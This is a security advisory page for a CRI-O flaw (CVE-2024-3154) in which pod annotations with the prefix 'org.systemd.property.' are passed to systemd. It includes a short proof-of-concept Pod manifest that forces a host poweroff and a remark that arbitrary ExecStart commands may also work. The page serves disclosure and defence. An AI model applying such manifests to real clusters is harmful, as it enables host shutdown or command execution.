GHSA-2CGQ-H8XW-2V5J

Vulnerability from github – Published: 2024-04-30 09:39 – Updated: 2024-05-01 13:06
VLAI
Summary
CRI-O vulnerable to an arbitrary systemd property injection
Details

Impact

On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:

---
apiVersion: v1
kind: Pod
metadata:
  name: poc-arbitrary-systemd-property-injection
  annotations:
    # I believe that ExecStart with an arbitrary command works here too,
    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
    org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
  containers:
    - name: hello
      image: [quay.io/podman/hello](http://quay.io/podman/hello)

This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.

Tested with CRI-O v1.24 on minikube. I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367

Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations: https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536

CRI-O has to filter out annotations that have the prefix "org.systemd.property."

See also: - https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson - https://github.com/opencontainers/runc/pull/4217

Workarounds

Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations

References

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.29.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.29.0"
            },
            {
              "fixed": "1.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.28.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.28.0"
            },
            {
              "fixed": "1.28.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.27.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-30T09:39:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nOn CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:\n```\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: poc-arbitrary-systemd-property-injection\n  annotations:\n    # I believe that ExecStart with an arbitrary command works here too,\n    # but I haven\u0027t figured out how to marshalize the ExecStart struct to gvariant string.\n    org.systemd.property.SuccessAction: \"\u0027poweroff-force\u0027\"\nspec:\n  containers:\n    - name: hello\n      image: [quay.io/podman/hello](http://quay.io/podman/hello)\n```\n\nThis means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.\n\nTested with CRI-O v1.24 on minikube.\nI didn\u0027t test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367\n\nThanks to C\u00e9dric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:\nhttps://github.com/opencontainers/runc/pull/3923#discussion_r1532292536\n\nCRI-O has to filter out annotations that have the prefix \"org.systemd.property.\"\n\nSee also:\n- https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson\n- https://github.com/opencontainers/runc/pull/4217\n\n\n### Workarounds\nUnfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations\n\n### References\n\n",
  "id": "GHSA-2cgq-h8xw-2v5j",
  "modified": "2024-05-01T13:06:49Z",
  "published": "2024-04-30T09:39:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cri-o/cri-o/security/advisories/GHSA-2cgq-h8xw-2v5j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/pull/4217"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-3154"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2272532"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cri-o/cri-o"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CRI-O vulnerable to an arbitrary systemd property injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.